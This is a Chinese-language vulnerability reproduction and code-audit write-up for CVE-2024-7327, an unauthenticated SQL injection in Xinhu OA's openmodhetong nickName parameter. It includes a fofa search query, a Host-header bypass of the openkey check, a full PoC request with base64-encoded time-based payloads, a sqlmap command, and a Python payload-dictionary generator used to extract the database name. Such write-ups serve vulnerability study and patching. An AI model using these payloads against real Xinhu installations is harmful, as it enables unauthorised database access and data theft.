信呼OA-nickName-SQL注入漏洞

1. 漏洞基本信息

  • 漏洞名称:信呼OA nickName SQL注入漏洞(XVE-2024-19304 & CVE-2024-7327 )
  • 影响系统 / CMS名称:信呼OA办公系统
  • 影响版本范围:v2.6.2 之前
  • 漏洞类型:SQL注入

2. 漏洞描述

该漏洞位于 /webmain/task/openapi/openmodhetongAction.php 文件的 dataAction 函数中,由于未对用户可控的 nickName 参数进行有效过滤,导致攻击者可构造恶意SQL语句,从而执行任意数据库操作。


3. 漏洞影响版本

v2.6.2 之前

来源:https://forum.butian.net/article/561


4. 网络测绘语法

fofa:

app="信呼-OA系统"

img


5. 环境搭建

下载信呼OAv2.6.2https://xinhu-1251238447.file.myqcloud.com/file/xinhu_utf8_v2.6.2.zip

小皮面板配置

img

网站根目录配置

img

访问http://xinhu:8000/,安装

img

MySQL创建数据库rockxinhu

img

导入数据库文件webmain/install/rockxinhu.sql

img

img

到信呼官网注册登录,获取key

img

回到安装页面,配置数据库连接信息,官网key

img

安装完成

img

img


6. SQL注入原理及代码审计分析

路由分析

白盒

index.php入口文件分析代码

这部分代码主要写了处理URL的逻辑

img

完整代码:

<?php 
/**
* 系统主要入口
* 主页:http://www.rockoa.com/
* 软件:信呼
* 作者:雨中磐石(rainrock)
*/
include_once('config/config.php');
$_uurl = $rock->get('rewriteurl');
$d = '';
$m = 'index';
$a = 'default';
if($_uurl != ''){
unset($_GET['m']);unset($_GET['d']);unset($_GET['a']);
$m = $_uurl;
$_uurla = explode('_', $_uurl);
if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];}
if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];}
$_uurla = explode('?',$_SERVER['REQUEST_URI']);
if(isset($_uurla[1])){
$_uurla = explode('&', $_uurla[1]);foreach($_uurla as $_uurlas){
$_uurlasa = explode('=', $_uurlas);
if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1];
}
}
}else{
$m = $rock->jm->gettoken('m', 'index');
$d = $rock->jm->gettoken('d');
$a = $rock->jm->gettoken('a', 'default');
}
$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$mode = $rock->get('m', $m);
if(!$config['install'] && $mode != 'install')$rock->location('?m=install');
include_once('include/View.php');

第九行,$rock获取rewriteurl参数的值,并且传递给$_uurl变量

这里rewriteurl是直接get获取的,get为自写的方法,和$_GET一样

img

$_uurl不为空:

  1. 则清除get获取的m、d、a三个参数的值
  2. $_uurl的值传递给$m
  3. _分隔$_uurl,并且最终分别传递给$d$m$a
  4. ?分割URI,并且传递给变量$_uurla

$_uurl为空:

$rock获取get参数rewriteurl中的m、d、a的值

所以,如果没有进行登陆,我们需要给m、d、a三个参数分别传入相对应的值。(这里只需要知道这个即可)

最后包含了include/View.php文件,继续跟踪

img

AI对该文件分析

img

简单来说这个文件同样是写路由,接收参数,调用参数

黑盒

路由我使用黑白盒结合去分析

触发一些功能点,查看数据包

img

GET /index.php?a=gettotal&m=index&d=home&atype=&loadci=0&optdt=&nums=kjrk,gong,kjrko,bianjian,kqdk,gwwx,apply,meet,officic,syslog,about&ajaxbool=true&rnd=321846 HTTP/1.1
Host: xinhu:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://xinhu:8000/
Cookie: PHPSESSID=k5c2e8c316vvfehvbdbthd1qf1; deviceid=1753192937583; xinhu_mo_adminid=hk0ho0bh0rrr0kj0hb0bh0zj0kj0hb0bj0rjo0bb0hb0bl0zh06; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0

结合代码来看

webmain为主目录,这里的d=home为home目录;m=index为index文件;a=gettotal为gettotal方法,而这里的方法名为gettotalAjax,因此ajaxbool=true

对应代码处

img

再看一个

img

GET /index.php?a=homedata&m=mode_bianjian|input&d=flow&ajaxbool=true&rnd=539654&st1=2025-06-29&st2=2025-08-09 HTTP/1.1
Host: xinhu:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://xinhu:8000/
Cookie: PHPSESSID=k5c2e8c316vvfehvbdbthd1qf1; deviceid=1753192937583; xinhu_mo_adminid=hk0ho0bh0rrr0kj0hb0bh0zj0kj0hb0bj0rjo0bb0hb0bl0zh06; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0

同样跟:flow目录下的input目录下的mode_bianjian文件下的homedata方法

对应代码处

img

验证:

该响应包经Unicode解码之后,和代码处对应,因此路由关系正确

img

img

综上,路由为:/index.php?a=方法&m=文件&d=目录&ajaxbool=true/false(ajaxbool看方法是否为Ajax),如果为多级目录,路由为:/index.php?a=方法&m=文件|子目录&d=目录&ajaxbool=true/false

鉴权分析

漏洞位于webmain\task\openapi\openmodhetongAction.php

openapi,这个接口本来外部就可以请求

img

该文件本身并没有做任何鉴权

openmodhetongClassAction继承了openapiAction,跟踪

发现其中有initAction方法去校验host(这个在下面有提到并绕过)

img

同样,openapiAction这个文件只做了 openkey 校验(且本地/内网IP还不校验),没有登录、token、cookie校验

问:继承链到底是怎么跟的?

答:漏洞所在的openmodhetongClassAction,经过不断跟踪,最终继承自mainAction

问:为什么会调用initAction方法?该文件中的其他方法会被调用吗?

答:漏洞点继承一直往上跟,会跟到mainAction,而在mainAction中有一个__construct魔术方法,而这个魔术方法里有一个$this->initAction()

img

也就是说,只要 new 任何继承自 mainAction(或其子类)的控制器类,都会自动执行这个构造函数。

其中最后一步 $this->initAction();,会自动调用当前类(或其父类)定义的 initAction() 方法。

而漏洞所在点openmodhetongClassAction最终是继承自mainAction,调用时触发了魔术方法,从而调用了initAction()方法,但由于自身类中没有该方法,要向其父类openapiAction调用initAction方法,因此会去校验openkey字段;而openapiAction中的其他方法则没有被调用

在最终父类mainAction 中,initAction是一个空方法,目的就是让子类去重写,子类openapiAction中重写了该方法,而最终父类mainAction中的魔术方法__construct中又写了$this->initAction();,因此漏洞所在类openmodhetongClassAction会自动调用initAction方法,但是由于自身并没有initAction方法,会往上跟继承,调用openapiAction中的initAction方法(也就是校验openkey),并且openapiAction中的其他方法都没有被调用(其他方法只有显式调用的时候才能被调用,因为继承链上的父类中并没有把这些方法写入魔术方法中,需要手动调用),因此漏洞所在openmodhetongClassAction处只会调用其父类openapiAction中的initAction方法,不会再往上跟其他方法

至于那些cookie、token等鉴权方法(如ActionNot中的mweblogin方法、Action中的各个方法),这些方法在最终父类的魔术方法中并没有被调用,因此在漏洞所在openmodhetongClassAction没有手动去调用这些方法的前提下,这些方法就不会被调用,该漏洞点也就不存在cookie、token等鉴权

img

总结:这个漏洞点没有鉴权,是因为它继承的 openapiAction 只做了 openkey 校验(且本地/内网IP还不校验),没有任何登录、token、cookie 校验,导致接口对外完全开放。

漏洞分析

漏洞位于webmain/task/openapi/openmodhetongAction.php

img

nickName参数经过base64解码传递给$nickName$nickName传递给数组$uarr,数组$uarr直接调用record查询

get跟踪

ctrl跟踪get方法

img

又调用了rock类中的get方法,全局搜索public function get(

img

public function get($name,$dev='', $lx=0)
{
$val=$dev;
if(isset($_GET[$name]))$val=$_GET[$name];
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}

进行get传参,如果传参成功就进行赋值,再进行非空判断,之后调用jmuncode()方法,并且将返回值返回

跟入jmuncode()方法,

img

其中147行对传入的参数中单引号转义,将'替换为&#39,但我们传递的为base64编码后的payload,单引号转义不影响,总体没有防护sql注入

回到类的头部,发现有一个__construct魔术方法,其中对很多注入的关键字进行了过滤

当我们创建一个rockClass对象时,会自动调用这个魔术方法

img

但是回到漏洞所在处webmain/task/openapi/openmodhetongAction.php,因为代码需要进行一次base64解码,我们传入的值需要是base64编码后的值,因此上述的过滤对我们构造payload没有影响

record跟踪

回到webmain/task/openapi/openmodhetongAction.php,ctrl跟踪到Model.php中的record方法,该方法又调用了db中的record,继续跟踪

img

全局搜索public function record(,对应的是mysq.php中的record方法,继续跟踪

img

img

下面进行了insert和update查询,$array参数是传递的payload处,遍历$array数组的$key$val,对$val又调用了toaddval方法,跟踪

img

该方法只是用来将字符串转换为适合插入数据库的格式,并没有对输入的内容进行过滤,最终拼接$key$val,传递给$cont,最终拼接到sql语句

至此,漏洞分析结束,参数可控,直接作为数组的一部分带入查询,并且由于该处参数的接收值要为base64编码之后的,get方法中对sql注入的过滤对我们没有影响,存在注入

漏洞验证

这里刚开始没有注入成功

img

openapiAction.php文件中init方法中,这个方法中会验证openkey(我们只需要考虑绕过即可)

任意以下条件成立时,完全跳过openkey检查:

  1. $this->keycheck为false
  2. 主机是127.0.0.1(本地开发环境)
  3. 主机IP包含192.168(内网环境)
  4. 服务端未配置openkey(空字符串)

img

因此我们只需要将host改为127.0.0.1即可

因为漏洞点webmain/task/openapi/openmodhetongAction.php

为task目录下的openapi目录下的openmodhetong文件中的data方法,因此构造访问数据包

m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw==

其中不为ajax(漏洞所在点为dataAction,不为dataAjax),因此&ajaxbool=0,nickName为传入的payload

&ajaxbool为0或false都可以

比如这里请求的是

img

&ajaxbool=true,对应的代码处调用的方法就为checkAjax

img

POC:

GET /index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw== HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://xinhu:8000/
Priority: u=0

img

1’ and sleep(5)# –> base64 –> MScgYW5kIHNsZWVwKDUpIw==

img

sqlmap验证

python sqlmap.py -u "http://xinhu:8000/index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MS" -p nickName --tamper=base64encode --host="127.0.0.1" --batch --dbms=mysql --level=3 --risk=3

img

因为调用的是record方法,方法写的sql语句为insert和update,因此要使用level和risk,但是网上有人给的sqlmap的payload没有用level和risk,我在没用level和risk情况下没有跑出来

sqlmap获取数据库名

加上–current-db

img

手工验证

http://xinhu:8000/index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgQU5EIElGKFNVQlNUUklORyhEQVRBQkFTRSgpLDEsMSk9J3InLFNMRUVQKDUpLDEpIw==

img

数据库名的第一个字符为r,如果为r则延迟5s

成功延迟

img

这里1’ AND IF(SUBSTRING(DATABASE(),1,1)=’r’,SLEEP(5),1)#

使用burp的Intruder模块爆破情况下,如何配置呢?需要对payload中的单个字符进行遍历值,并且需要对整个payload进行base64编码

好像只有生成
1’+AND+IF(SUBSTRING(DATABASE(),1,1)%3d’a’,SLEEP(5),1)%23
1’+AND+IF(SUBSTRING(DATABASE(),1,1)%3d’b’,SLEEP(5),1)%23

字典,再进行爆破,base64-encode

生成字典

def generate_sqli_payloads():
# 定义要测试的字符集:小写字母a-z、下划线_和数字0-9
characters = 'abcdefghijklmnopqrstuvwxyz'

payloads = []

# 生成测试前10个字符的payload(虽然您说数据库名有9个字符,但按您要求生成10个)
for position in range(1, 11): # 测试第1到第10个字符
for char in characters:
# 构造SQL注入payload
payload = f"1' AND IF(SUBSTRING(DATABASE(),{position},1)='{char}',SLEEP(3),1)#"
payloads.append(payload)

return payloads


# 生成payload列表
sql_injection_payloads = generate_sqli_payloads()

# 打印前20个payload示例(避免输出过多)
print("生成的SQL注入测试字典(共{}条):".format(len(sql_injection_payloads)))
for i, payload in enumerate(sql_injection_payloads[:20], 1):
print(f"{i}. {payload}")

print("\n...省略其余payload...")

# 如果需要保存到文件
with open('sqli_database_enumeration.txt', 'w') as f:
for payload in sql_injection_payloads:
f.write(payload + '\n')
print("\n已保存到文件:sqli_database_enumeration.txt")

img

取消勾选(使用我们自己设置的host127.0.0.1,绕过openkey)

img

payload取消url编码,并进行base64编码

img

设置单线程

img

爆破结果

img

img

成功获取数据库名rockxinhu

Tips

这个漏洞没有cookie和token的校验,但是有openkey的校验,经尝试,部署在VPS上,修改host部分仍可以绕过,进行注入,因此该漏洞应为前台注入

前台注入条件

  • 服务器对host没有安全策略,导致可以更改host

有些服务器策略会导致更改host之后无法请求该网站,所以这个洞是不是前台还是跟服务器的策略有关系

VPS搭建:

img

注入:

img


7. 参考资料

https://forum.butian.net/article/561

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7327

https://www.cve.org/CVERecord?id=CVE-2024-7327

https://cn-sec.com/archives/3293130.html